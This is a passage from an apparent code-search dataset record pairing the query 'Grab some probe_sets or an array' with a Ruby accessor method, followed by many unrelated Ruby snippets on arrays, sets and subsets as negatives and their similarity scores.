value\n end", "def resolve_array(array)\n pot_o_data = [] #Holds the previously seen values\n \n array.each do |item|\n i = 0\n \n # Removes duplicate values\n while i < item[1].length\n if pot_o_data.include? item[1][i]\n item[1].delete_at(i)\n else\n pot_o_data << item[1][i]\n i += 1\n end\n end\n end\n \n # Removes items with empty values and removes the uniq values counter\n i = 0\n while i < array.length\n if array[i][1].empty?\n array.delete_at(i)\n else\n array[i] = [array[i][0], array[i][1]]\n i += 1\n end\n end\n end", "def apple_picker_collect(array)\n apples = array.collect do |item|\n item if item == \"apple\"\n end\n apples.compact\nend", "def uniq_arrays(groups)\r\n dup.tap { |o| o.uniq_arrays!(groups) }\r\n end", "def inferred_truths_unique\n inferred_truths_all = self.inferred_truths_all\n inferredcollection = PremiseCollection.new(inferred_truths_all)\n inferred_truths_unique = inferredcollection.unique_propositions\n return inferred_truths_unique\n end", "def cleanup(array)\n clean = array.reject { |item| item.nil? }\n return [] if clean.empty?\n clean\n end", "def atomic_array_add_to_sets\n @atomic_array_add_to_sets ||= {}\n end", "def sets\n return [EscholSet.new({name: \"everything\", spec: \"everything\"})]\n end", "def populate1(matrix)\n\t(0..5).each do |x|\n\t\t(0..5).each do |y|\n\t\t\tmatrix[x][y] = (@cols[y] & @rows[x]).sample\n\t\t\t@cols[y].delete(matrix[x][y])\n\t\t\t@rows[x].delete(matrix[x][y])\n\t\tend\n\tend\n\n# \tp z = matrix.flatten\n# \tif z.include?(nil)!=true\n# \t\treturn matrix\n# \telse\n# \t\tp \"has nil(s)\"\n# \tend\nend", "def ensure_cardinality(result)\n Array.wrap(result)\n end", "def subsets(array)\n if array.empty?\n return [[]]\n end\n\n el = array.shift[0]\n old_subsets = subsets(array)\n new_subsets = old_subsets.map { |old_subset| [el] + old_subset }\n new_subsets + old_subsets\nend", "def test_values_are_arrays_of_hashes\n @result.values.each do |table|\n assert_instance_of( Array, table )\n table.each do |entry|\n assert_instance_of( Hash, entry )\n end\n end\n end", "def subsets(arr)\n return [[]] if arr.empty?\n # debugger\n # take - return first n elements\n\n subArr = arr.take(arr.count - 1)\n\n subs = subsets(subArr)\n\n # concat Appends the elements of other_ary to self.\n # tyle co +\n subArrays = subs.map { |sub| sub + [arr.last] }\n subs.concat(subArrays)\nend", "def brands_array\n ($products_hash['items'].map { |toy| toy['brand'] }).uniq\nend", "def subsets(arr)\n return [[]] if arr.empty?\n subsets_arr = []\n cur_el = arr[0]\n prior_subs = subsets(arr[1..-1])\n prior_subs.each do |subset|\n subsets_arr << subset.dup.push(cur_el)\n end\n subsets_arr + prior_subs\nend", "def ensure_keys_are_arrays!(result)\n if result[:startkey] && !result[:startkey].is_a?(Array)\n result[:startkey] = [result[:startkey]] \n end\n if result[:endkey] && !result[:endkey].is_a?(Array)\n result[:endkey] = [result[:endkey]]\n end\n end", "def generate_n_sets(array, number_of_sets)\n\nend", "def list_of(maybe_an_array)\n [maybe_an_array].flatten\n end", "def source_matrix_ids\n a = Set.new\n experiments.each { |experiment| a.merge(experiment.source_matrix_ids) }\n a.to_a\n end", "def subsets(arr)\n return [[]] if arr.empty?\n\n val = arr[0]\n subs = subsets(arr.drop(1))\n new_subs = subs.map{ |sub| sub + val }\n\n subs + new_subs\nend", "def arrays_to_hashes\n end", "def powerset(array)\n subsets = [[]]\n\n array.each do |elem|\n (1..subsets.length - 1).each do |i|\n current_subset = subsets[i]\n subsets.append(current_subset + [elem])\n end\n end\n\n return subsets\nend", "def scalarize_single_valued_arrays()\n return self.map do |k,v|\n v = case\n when v.is_a?(::Array) && v.length == 1 then\n v.first\n when v.is_a?(::Hash) then\n v.scalarize_single_valued_arrays\n else\n v\n end\n [k,v]\n end.to_mash\n end", "def pick_patients\n $genes = Hash.new {|hash, key| hash[key] = Set.new() }\n $hide_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n $avail_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n\n pick_pat = Set.new($all_avail_pat.keys.sample(($HIDE_PERCENT*$all_avail_pat.size).to_i))\n $all_avail_pat.each_key do |pat|\n if pick_pat.include? pat\n $hide_pat[pat] = $all_avail_pat[pat]\n else\n $avail_pat[pat] = $all_avail_pat[pat]\n $avail_pat[pat].each { |gene| $genes[gene] << pat }\n end\n end\nend", "def justLocations(locationsToggle) \n arrNew = []\n locationsToggle.each do |arr|\n arrNew.push(arr[0])\n end\n return arrNew\n end", "def flatten!\n\t\t@array = make_flat(@array)\n\tend", "def test_removes_duplicates\n stream = FromArray.new([2, 2, 3, 4, 1, 1, 2, 5, 4, 3, 6])\n collected = stream.distinct.collect\n assert(collected == collected.uniq)\n assert(collected.length == collected.uniq.length)\n end", "def datasets\n ds = inclusively { dataset }\n [ds] + ds.descendants\n end", "def wells\n plates.collect(&:wells).flatten\n end", "def samples; end", "def samples; end", "def array_subsets(arr)\n return arr if arr.length == 0 || arr.length == 1\n new_arr = []\n new_arr << [arr[0]] + array_subsets(arr[1..-1])\n \n # length = 1\n # new_arr = [[]]\n # while length <= arr.length\n # arr.each do |el|\n # new_arr << Array.new(length) { el }\n # end\n # length += 1\n # end\nend", "def find_duplicates_set_approach(array)\n duplicates = []\n set = Set.new(array)\n \n set\n \nend" ]
[ "0.75054365", "0.58259267", "0.57316756", "0.5596252", "0.5537638", "0.54014885", "0.53901535", "0.53901535", "0.53901535", "0.53779405", "0.53712785", "0.5337241", "0.52932304", "0.5266021", "0.5200192", "0.5173299", "0.5155054", "0.512626", "0.5119021", "0.50681007", "0.5062949", "0.5052459", "0.50427085", "0.5028452", "0.500082", "0.4987873", "0.496497", "0.49519143", "0.49198544", "0.4879596", "0.48673514", "0.48625964", "0.48625535", "0.48558608", "0.484474", "0.48423162", "0.4837694", "0.483374", "0.48259315", "0.48243138", "0.48237875", "0.4808639", "0.4792631", "0.47888085", "0.4776176", "0.47760332", "0.4765682", "0.47633427", "0.4752269", "0.47510678", "0.47484872", "0.4748458", "0.47457418", "0.47371742", "0.47283918", "0.47163817", "0.47057238", "0.47043678", "0.4702617", "0.4680509", "0.46786726", "0.46786112", "0.4676061", "0.46730384", "0.46721107", "0.46698815", "0.46695736", "0.46682185", "0.46643057", "0.4661714", "0.46600258", "0.46569628", "0.46567905", "0.46461368", "0.4645889", "0.4645234", "0.464159", "0.46353006", "0.4633341", "0.46284798", "0.4628262", "0.46199545", "0.46186718", "0.4618285", "0.46153212", "0.46120447", "0.46110553", "0.46107608", "0.4595199", "0.45942405", "0.45908904", "0.4589197", "0.45864004", "0.45715", "0.45701542", "0.45678985", "0.45672005", "0.45672005", "0.4563847", "0.45575833" ]
0.7023269
1
Grab some probe_sets or an array
def probe_sets @probe_sets ||= Array.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def probe_sets=(probe_sets)\n @probe_sets = Array(probe_sets).flatten\n end", "def search_handsets(proc)\n rez = @handsets.values.select do |hand| \n x = proc.call(hand) \n end\n return rez if rez != nil\n return Array::new\n end", "def probe_set\n attrs = {}\n vars = [\n :probe_type,\n :probe_dns_host,\n :probe_frequency,\n :probe_port,\n :probe_retry_down,\n :probe_retry_up,\n :probe_timeout,\n :probe_control,\n ]\n if vars.any? { |p| @property_flush.key?(p) }\n # At least one var has changed, get all vals from manifest\n vars.each do |p|\n if @resource[p] == :default\n attrs[p] = @nu.send(\"default_#{p}\")\n else\n attrs[p] = @resource[p]\n attrs[p] = PuppetX::Cisco::Utils.bool_sym_to_s(attrs[p])\n end\n end\n end\n return if attrs.empty?\n @nu.probe_set(attrs)\n end", "def pick_test_set\n $all_avail_genes = deep_copy_hash $all_genes\n $all_avail_pat = deep_copy_hash $all_pat\n \n # randomly withhold 10% of the patients\n $HIDE_PERCENT = 0.1\n pick_patients\n \n # use the remaining 90% for range alpha runs\n $all_avail_genes = deep_copy_hash $genes\n $all_avail_pat = deep_copy_hash $avail_pat\n $test_pat = deep_copy_hash $hide_pat\n \n # next hide 20% for validation set\n $HIDE_PERCENT = 0.2\nend", "def harvest!\n return [] unless enabled?\n\n samples = @samples_lock.synchronize do\n @last_sample = nil\n harvest_from_sample_buffers\n end\n prepare_samples(samples)\n end", "def samples; end", "def samples; end", "def results\n if Gem.loaded_specs['simplecov'].version >= Gem::Version.new('0.19')\n ::SimpleCov::Result.from_hash(resultset)\n else\n array = []\n resultset.each do |command_name, data|\n array << ::SimpleCov::Result.from_hash(command_name => data)\n end\n array\n end\n end", "def reset\n probe_sets.each(&:reset)\n end", "def probe_params\n @probe_params ||= type.params || []\n end", "def select_taguchi_array\n closest = 0\n [8, 16, 32, 64, 128, 256, 512, 1024].each do |n|\n if @num_genes <= n - 1\n closest = n\n break\n end\n end\n file_name = \"L#{closest}\"\n load_array_from_file file_name\n end", "def sus_select\n pointers = SUS.sample @chromosomes, @pop_size,\n is_high_fit: @is_high_fit,\n is_negative_fit: @is_negative_fit\n k = 0\n selected_chromosomes = []\n pointers.each do |ptr|\n loop do\n break if @chromosomes[k].fit_sum >= ptr\n\n k += 1\n end\n selected_chromosomes << @chromosomes[k]\n end\n raise 'wrong number of selected chromosomes' if selected_chromosomes.size != @pop_size\n selected_chromosomes\n end", "def matching_sets(path, type); end", "def get_mpset( queries, o = {} )\n #debugger #puts \"[get_mpset] #{q}\" ; \n queries.map{|q| marr2hash get_map_prob(q, o)}\n end", "def get_outputs(*args)\n [args].flatten.select { |device| output?(device) }\n end", "def set_up_test(input_plates)\n input_plates.each do |plate|\n sample = plate.parts.first.sample\n plate.add_samples(Array.new(plate.get_empty.length, sample))\n end\n end", "def collect_samples\n all_samples = []\n\n all_samples << { item: @beads } if @plan_params[:run_calibration_beads]\n\n CONTROL_NAMES.each do |name|\n controls(name).each do |item|\n all_samples << { item: item, control: name }\n end\n end\n\n other_samples.each do |item|\n all_samples << { item: item }\n end\n\n libraries_to_sort.each do |item|\n all_samples << { item: item, sort: true }\n end\n\n all_samples\n end", "def harvest!\n return NewRelic::EMPTY_ARRAY unless enabled?\n\n samples = @samples_lock.synchronize do\n @last_sample = nil\n harvest_from_sample_buffers\n end\n prepare_samples(samples)\n end", "def probe(api_map); end", "def gets(*several_variants)\n #This is a stub, used for indexing\n end", "def test_input\n problems = []\n @app_spectra.each do |app_spectrum|\n problems << 'App spectrum has a nil target defined in its image set' if app_spectrum.image_set.target.nil?\n end\n problems\n end", "def sample_report_data\n all_reads_data = []\n outputs.each_with_index do |output, index|\n data = {:output => output, :lane => lane, :name => name,\n :illumina => illumina_barcode, :custom => custom_barcode,\n :read => reads[index], :genome => genome, :order => order, :lib_id => lib_id, :order_type => order_type, :lab => lab}\n all_reads_data << data\n end\n all_reads_data\n end", "def pick(*args)\n klass, name, hash = parse_args(args)\n hash[:number] ||= 1\n return [] unless _mg_generated[klass].is_a?(Hash) && _mg_generated[klass][name].is_a?(Array)\n _mg_generated[klass][name].sample hash[:number]\n end", "def project_spec_arrays\n [:controller_specs, :model_specs, :view_specs]\n end", "def pick_sets # :nodoc:\n @sources.each_source do |source|\n @sets << source.dependency_resolver_set\n end\n end", "def dam_samples(type)\n if type == :group\n self.group_damage_samples\n elsif type == :elem\n self.damage_samples\n end\n end", "def find_by_scan(*args)\n expects_array = args.first.kind_of?(Array)\n ids = args.flatten.compact.map(&:to_s).uniq\n\n if ids.size == 1\n id = ids.first\n record = load_target.detect { |r| id == r.id.to_s }\n expects_array ? [ record ] : record\n else\n load_target.select { |r| ids.include?(r.id.to_s) }\n end\n end", "def find_subsampled_data_arrays\n self.find_all_data_arrays.where(:subsample_threshold.nin => [nil], :subsample_annotation.nin => [nil])\n end", "def assign_starts_of_streams_to_sets(sets,hw)\n stream_labels = []\n stream_starts_at_set = 1\n hw.each { |stream|\n stream_starts_at_set = stream_starts_at_set+stream[\"delay\"].to_i\n if stream_labels[stream_starts_at_set].nil? then\n stream_labels[stream_starts_at_set]=stream[\"stream\"]\n else\n stream_labels[stream_starts_at_set] = stream_labels[stream_starts_at_set]+';'+stream[\"stream\"]\n end\n }\n 1.upto(sets.length-1) { |set_number|\n if stream_labels[set_number].nil? then stream_labels[set_number]='' end\n #print \"=== #{set_number}->#{stream_labels[set_number]}\\n\"\n }\n return stream_labels\nend", "def get_exact_set(handle_set)\n sdkmap = get_all_as_map\n handle_set.map do |handle|\n sdk = sdkmap[handle]\n if sdk\n sdk\n else\n DevKit.new(:handle => handle)\n end\n end\n end", "def hw_to_sets(hw,book) \n sets = []\n stream_starts_at_set = 1\n hw.each { |stream|\n stream_starts_at_set = stream_starts_at_set+stream[\"delay\"].to_i\n set_number = stream_starts_at_set\n stream[\"chunks\"].each { |chunk|\n if sets[set_number].nil? then sets[set_number]=[] end\n sets[set_number].push(chunk)\n set_number = set_number+1\n }\n }\n 1.upto(sets.length-1) { |set_number|\n if sets[set_number].nil? then sets[set_number]=[] end\n }\n\n read_problems_csv(book)\n\n 1.upto(sets.length-1) { |set_number|\n sets[set_number].each { |chunk|\n chunk.each { |fg|\n flags,probs = fg\n probs.each { |g|\n g.each { |p|\n k = [p[0],p[1]]\n if p[0]<0 then\n fatal_error(\"in hw_to_sets, chapter=#{p[0]} for a problem on hw #{set_number}\")\n end\n label = $num_to_label[k]\n if $problem_assigned_on_set[k].nil?\n $problem_assigned_on_set[k] = set_number\n else\n if p[2].nil? || p[2]=='' then\n fatal_error(\"problem #{p[0]}-#{p[1]}, #{label}, assigned on both hw #{$problem_assigned_on_set[k]} and hw #{set_number}, and no specific parts were given on the second hw\")\n end\n end\n }\n }\n }\n }\n }\n\n return sets\nend", "def high_yield_mines (a)\n @arr2 = Array.new\n a.each do |this|\n if this[:specimens].length >= 4\n @arr2.push(this[:location])\n end\n end\nend", "def sets\n end", "def my_select(collection)\n holder = [] #for collection at the end\n counter = 0 #start at beginning of array\n\n while counter < collection.length # condition to be met\n if yield(collection[counter]) == true #if the mumbojumbo results in true *which select gives\n holder.push(collection[counter]) #then push that element into the new array\n end\n counter += 1 #iterate throughout the array incremently\n end\n holder #show everyone your new array\nend", "def select\n a = []\n @set.each do |e,_|\n if yield(e)\n a << e\n end\n end\n a\n end", "def get_sets\n result = []\n (0..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 3)).each do |a|\n ((a + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 2)).each do |b|\n ((b + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 1)).each do |c|\n if (is_a_set?([self.talon[self.tapis[a]], self.talon[self.tapis[b]], self.talon[self.tapis[c]]]))[0]\n result << [a, b, c]\n end\n end\n end\n end\n result\n end", "def valid_result_sets\n Array.new\n end", "def selector(array)\n array.sample\n end", "def getTargets fullData\r\n\t\t#Clone the test set, inject the target feature bounds, get the feature bounds/target Hash Array\r\n\t\tfullData.injectFeatures({domainLowerBound: @domainLowerBound, domainUpperBound: @domainUpperBound})\r\n\t\ttargets = fullData.segregate([:domainLowerBound, :domainUpperBound, @target], true).getDataStructure(true)\r\n\t\t[fullData, targets]\r\n\tend", "def pick_patients\n $genes = Hash.new {|hash, key| hash[key] = Set.new() }\n $hide_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n $avail_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n\n pick_pat = Set.new($all_avail_pat.keys.sample(($HIDE_PERCENT*$all_avail_pat.size).to_i))\n $all_avail_pat.each_key do |pat|\n if pick_pat.include? pat\n $hide_pat[pat] = $all_avail_pat[pat]\n else\n $avail_pat[pat] = $all_avail_pat[pat]\n $avail_pat[pat].each { |gene| $genes[gene] << pat }\n end\n end\nend", "def _flag_sets_of_automation(automation_config)\n my_flags = automation_config.fetch(:flags, {})\n target_sets = automation_config.fetch(FLAG_SETS_KEY, [])\n if target_sets.is_a?(Array) && !target_sets.empty?\n # create hash of set_name => merge of that set INTO the explicit flags for this automation\n target_sets.map! { |set_name| [set_name, my_flags.merge(@config[FLAG_SETS_KEY][set_name.to_sym])] }.to_h\n else\n # no flag sets, so we just have one set of flags -- the explicit flags configured for this automation\n target_sets = { flags: my_flags }\n end\n target_sets\n end", "def find_all(req)\n prefetch nil\n\n specs.values.select do |spec|\n req.match? spec\n end\n end", "def getAll(testbed = nil)\n load\n return @@nds if testbed.nil?\n ret = []\n @@nds.each{|n| ret << n if n['testbed'] == testbed}\n ret\n end", "def sources\n s = Set.new\n experiments.each { |experiment| s.merge(experiment.sources) }\n s.to_a\n end", "def get_inputs(*args)\n [args].flatten.select { |device| input?(device) }\n end", "def run_script_on_set(friendly_name, set = @servers, wait = true, options = nil)\n audits = Array.new() \n set = select_set(set)\n set.each do |s|\n audits << behavior(:launch_script, friendly_name, s, options)\n end\n if wait\n audits.each { |a| obj_behavior(a, :wait_for_completed) }\n elsif audits.size == 1\n return audits.first\n else\n return audits\n end\n end", "def desired_gems(list_of_gems)\n specified_gems = []\n list_of_gems.each do |g| \n if self.has_key? g\n specified_gems << self[g]\n else\n specified_gems << \"'#{g}' not found in any gemset\"\n end\n end\n\n specified_gems\n end", "def element_set\n weapon = $data_weapons[@weapon_id]\n return weapon != nil ? weapon.element_set : []\n end", "def first_set\n match_sets.first\n end", "def load_genres(tag_arr)\n\n\t\t@genres = Array.new(tag_arr.size)\n\n\t\ttag_arr.each_with_index do |el ,i|\n\n\t\t\t\t@genres[i] = true if el == 1\n\n\t\t\t\t@genres[i] ||= false #might not be necessary\n\n\t\t\tend\n\n\tend", "def subsets(array)\n\nend", "def subsets(array)\n\nend", "def subsets(array)\n\nend", "def target_filters\n scan_ses_notes if @target_filters.nil?\n @target_filters\n end", "def choose_from_things(array_of_items)\n array_of_items.sample\n end", "def instruments\n return @instruments if defined? @instruments\n\n reset_instruments!\n end", "def filtered_sets(type)\n self.class.get(sets).select{|set| set['set_type'] == type}\n end", "def each_probe(match=nil, &block)\n if match\n parts = match.split(':', 4)\n begin\n each_probe_match(*parts, &block)\n rescue ArgumentError => e\n raise DTrace::Exception.new(\"each_probe: probe specification expected (e.g. 'provider:::')\")\n end\n else\n each_probe_all(&block)\n end\n end", "def datasets\n @datasets || []\n end", "def datasets\n @datasets || []\n end", "def get_sample_types\r\n # Check if sample belongs to new_record? line\r\n if self.line.new_record? || self.line.samples.count == 0\r\n worker_no = 0\r\n SAMPLE_CONFIG[worker_no]\r\n else\r\n prev_sample = Sample.previous_sample(self)\r\n worker_no = prev_sample.nil? ? 0 : prev_sample.worker.number\r\n worker_no <= 2 ? SAMPLE_CONFIG[worker_no] : SAMPLE_CONFIG[2]\r\n end\r\n end", "def unconnected_probes\n observed_connections = Set.new\n connections.each do |conn|\n observed_connections << conn.probe1.to_settable\n observed_connections << conn.probe2.to_settable\n end\n to_return = []\n @sequence_ids.each do |index|\n [:start, :end].each do |side|\n probe = Probe.new\n probe.sequence_index = index\n probe.side = side\n unless observed_connections.include?(probe.to_settable)\n to_return.push probe\n end\n end\n end\n return to_return\n end", "def get_specified_values(arr)\n @redis.read_multi(*arr, retain_nils: true)\n end", "def get_test_set_data\n\t\treturn @predictions\n\tend", "def handle_reporters(reporters)\n return reporters if reporters.is_a? Array\n [reporters]\n end", "def samples\n return self.synchronize { @samples.to_a }\n end", "def standard_specs\n Array.new(rand(5...10)) { fetch('vehicle.standard_specs') }\n end", "def collect_specimens(data, xschema)\n# specimens = data.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n specimens = data\n missing = Array.new\n filtered_specimens = Array.new\n # Make sure that the data we've found of these types actually matches an\n # expected template for cell lines, strains, or stages\n specimens.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n if !( \n attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? && \n attrs.find { |a| a[\"heading\"] == \"Cell Type cv\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"developmental stage\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"strain\" }.nil? \n ) then\n # This datum has an attribute with one of the above headings. All of\n # the headings being checked are from the wiki, and as such are\n # somewhat controlled by templates\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"type\"] == \"modencode:reference\" } then\n # This datum references a datum in an older submission (as with the\n # Celinker RNA samples), so we'll keep it in case it turns out to be an\n # antibody, strain, stage, or cell line\n ref_attr = attrs.find_all { |attr| attr[\"type\"] == \"modencode:reference\" }\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"heading\"] =~ /Characteristics?/ } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"heading\"] =~ /Anonymous Datum/ && d[\"type\"] =~ /MO:((whole_)?organism(_part)?)/ then\n # Occasionally we don't specify the piece of the organism that is\n # collected except as an anonymous output between two protocols. This\n # serves to capture at least whether we've got a whole organism or part\n # of one\n d[\"attributes\"] = Array.new\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:(whole_)?organism/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /developmental_stage/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ADF/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /SO:RNAi_reagent/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:GrowthCondition/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"type\"] =~ /MO:Compound/i } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"heading\"] == \"RNA ID\" } then\n # Ignore RNA collections\n elsif d[\"value\"].length == 0\n # Ignore empty (probably anonymous) cells\n elsif d[\"type\"] == \"modencode:GEO_record\"\n # Ignore GEO records that aren't references to old submissions\n else\n # Track any specimens that didn't fall into one of the above categories\n # so we can add support for them to the code.\n missing.push d\n end\n }\n # Make sure the list of specimens is unique\n filtered_specimens = filtered_specimens.uniq_by { |d| d[\"attributes\"].nil? ? d[\"value\"] : d[\"attributes\"] }\n\n missing = missing.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n # Whine about any missing specimens\n if missing.size > 0 then\n if missing.size > 1 then\n missing = missing[0...2].map { |d| d[\"value\"] + \" (#{d[\"type\"]})\" }.join(\", \") + \", and #{missing.size - 2} more\"\n else\n missing = missing[0][\"value\"] + \" (#{missing[0][\"type\"]})\"\n end\n puts \"Unknown type of specimen: #{missing} for submission #{xschema}\"\n end\n\n return filtered_specimens\n\n end", "def tests(k)\n @tests.map{|t| t[k]}.compact\nend", "def apple_picker_collect(array)\n apples = array.collect do |item|\n item if item == \"apple\"\n end\n apples.compact\nend", "def extract_types_for_parameters(simulation_runs)\n array_for_inputs_types = []\n\n first_run = simulation_runs.where('$and' => [{result: {'$exists' => true}}, {result: {'$ne' => nil}}]).first\n unless first_run.nil?\n first_line_inputs = simulation_runs.first.values.split(\",\")\n array_for_inputs_types = first_line_inputs.map { |result| Utils::extract_type_from_string(result) }\n end\n\n array_for_inputs_types\n end", "def getEventNamesArray(bandsArray)\n eventNamesArray = bandsArray.collect {|x| x.bandNum} \nend", "def all_or_one(what, &block)\n result = Array(what).each(&block)\n return what.is_a?(Array) ? result : result.first\n end", "def color_specs(return_type='record')\n spec_color_id = 1\n return [] if self.spec_desc.blank?\n return [] if self.spec_desc[spec_color_id].blank?\n\n\n self.spec_desc[spec_color_id].collect do |private_spec_value_id,spec|\n if return_type == 'record'\n Ecstore::SpecValue.find(spec[\"spec_value_id\"])\n else\n spec[\"spec_value_id\"].to_i\n end\n end\n\n # self.good_specs.where(:spec_id=>1).pluck(:spec_value_id).uniq.collect do |spec_value_id|\n # Ecstore::SpecValue.find(spec_value_id)\n # end.sort{ |x,y| x.p_order <=> y.p_order }\n end", "def get_analyzer_results(analyzer, the_samples)\n output = Array.new\n analyzer_base = analyzer.sub('.py', '')\n puts the_samples\n puts analyzer\n the_samples.each do |sample|\n output << \"results/#{$jobid}/#{$selection}#{$jetcorrection}/iso#{$isolation}/#{analyzer_base}/#{sample}.root\"\n #output << \"results/#{$jobid}/#{analyzer_base}/#{sample}.root\"\n end\n return output\nend", "def misc_features(code)\n \tanswer = Array.new\n if code.nil?\n self.seq_region.misc_features.each do |mf|\n if mf.seq_region_start > self.start and mf.seq_region_end < self.stop\n answer.push(mf)\n end\n end\n else\n self.seq_region.misc_features.each do |mf|\n if mf.misc_sets[0].code == code\n if mf.seq_region_start > self.start and mf.seq_region_end < self.stop\n answer.push(mf)\n end\n end\n end\n end\n \treturn answer\n end", "def producers\n to_array search_by_itemprop 'producer'\n end", "def select(*args); dataset.select(*args); end", "def samples\n\t\treturn self.db[:samples].\n\t\t\tfilter( synsetid: self.synsetid ).\n\t\t\torder( :sampleid ).\n\t\t\tmap( :sample )\n\tend", "def get_instock_attributes()\n specs = []\n instock = Product.find_all_by_instock(1)\n instock.each do |p|\n sku = p.sku\n pid = p.id\n saleprice = ContSpec.find_by_product_id_and_name(pid,\"saleprice\")\n brand = CatSpec.find_by_product_id_and_name(pid,\"brand\")\n if saleprice != nil && brand != nil\n new_spec = {:sku => sku, :saleprice => saleprice.value, :brand => brand.value, :product_type => p.product_type}\n specs << new_spec\n# elsif brand != nil\n# new_spec = {:sku => sku, :brand => brand.value, :product_type => brand.product_type} \n# elsif saleprice != nil\n# new_spec = {:sku => sku, :saleprice => saleprice.value, :product_type => saleprice.product_type}\n else\n puts \"SKU: #{sku} has no price and/or brand\"\n end\n# specs << new_spec\n end\n return specs\nend", "def box_set_results_for(set_of_boxes)\n set_of_boxes.map { |box| is_there_a_check_on(box) }\nend", "def find_like_samples(collection_a, collection_b)\n collection_a.parts.map!(&:sample) & collection_b.parts.map!(&:sample)\n end", "def find_probes(velvet_underground_graph, probe_read_ids)\n # First use the C method to extract the set of interesting nodes\n log.debug \"Extracting target nodes using the C method..\" if log.debug?\n target_node_ids = find_probe_nodes(velvet_underground_graph, probe_read_ids)\n\n # Then iterate over just those nodes we know are interesting\n log.debug \"Extracting from only those #{target_node_ids.length} nodes that are interesting..\" if log.debug?\n target_node_ids_set = Set.new target_node_ids\n return Bio::AssemblyGraphAlgorithms::NodeFinder.new.find_unique_nodes_with_sequence_ids(\n velvet_underground_graph, probe_read_ids, :target_node_ids => target_node_ids_set\n )\n end", "def select(*args) \n return nil if (args.length==1 and (Integer===args[0] or Symbol===args[0]))\n raise ArgumentError, \"Unexpected nil selection matcher\" if args.any? {|arg| arg.nil?}\n []\n end", "def on_lights(lights)\n lights.keys.select { |key| lights[key] == \"on\" }\n\n# This code will return an array of light positions, which light gets\n# chosen for our new array determined whether lights[key] == \"on\" is TRUE.\nend", "def infer_set(o)\n if o.instance_of?(Array)\n infer_set_Array(o)\n elsif o.instance_of?(Hash)\n infer_set_Hash(o)\n elsif o.instance_of?(SemanticPuppet::Version)\n infer_set_Version(o)\n else\n infer(o)\n end\n end", "def my_select(&prc)\n arr = []\n self.my_each { |el| arr << el if prc.call(el) }\n arr\n end", "def misc_features(code)\r\n \tanswer = Array.new\r\n if code.nil?\r\n self.seq_region.misc_features.each do |mf|\r\n if mf.seq_region_start > self.start and mf.seq_region_end < self.stop\r\n answer.push(mf)\r\n end\r\n end\r\n else\r\n self.seq_region.misc_features.each do |mf|\r\n if mf.misc_sets[0].code == code\r\n if mf.seq_region_start > self.start and mf.seq_region_end < self.stop\r\n answer.push(mf)\r\n end\r\n end\r\n end\r\n end\r\n \treturn answer\r\n end", "def my_select(&prc)\n result_array = []\n self.my_each {|el| result_array << el if prc.call(el)}\n result_array\n end", "def obtainDrivers(contents)\n\n # variable to hold the list of drivers\n drivers = []\n\n # for every line...\n contents.each do |line|\n\n # use regex to ensure the line matches the expected\n captures = /^Driver ([A-Za-z]{1,64})$/.match(line)\n\n # safety check, ensure the capture isn't nil\n if captures.nil?\n next\n end\n\n # if the regex capture has a length of at least one,\n # push it to the list of drivers\n if captures.length > 0\n drivers.push(captures[1])\n end\n end\n\n # return the list drivers\n return drivers\nend", "def get_drivers\n drivers\n end", "def getTargets fullData\r\n\t\tputs \"Base Get Targets\"\r\n\t\t#Get training set, retrieve target and remove from the RegressionDataSet\r\n\t\t[fullData, fullData.retrieveFeatureAsArray(@target, true)]\r\n\tend", "def sets\n return [EscholSet.new({name: \"everything\", spec: \"everything\"})]\n end", "def genres\n return @metadata[:genres]\n end", "def all\n @bands\n end", "def find_all(req)\n @sets.map do |s|\n s.find_all req\n end.flatten\n end", "def select(array)\n final_selections = []\n\n for elem in array do\n result = yield(elem)\n final_selections << elem if result\n end\n \n final_selections\nend", "def compare\n results = []\n @sets.each do |set|\n results << interpret(set)\n end\n\n base = nil\n results.each do |res|\n if base.nil?\n base = res\n base[:slower] = 0\n else\n res[:slower] = ((res[:mean] / base[:mean]) * 100) - 100\n end\n end\n\n results\n end", "def drivers\n full_attributes.map(&:driver).uniq.reject(&:nil?)\n end", "def features\n []\n end" ]
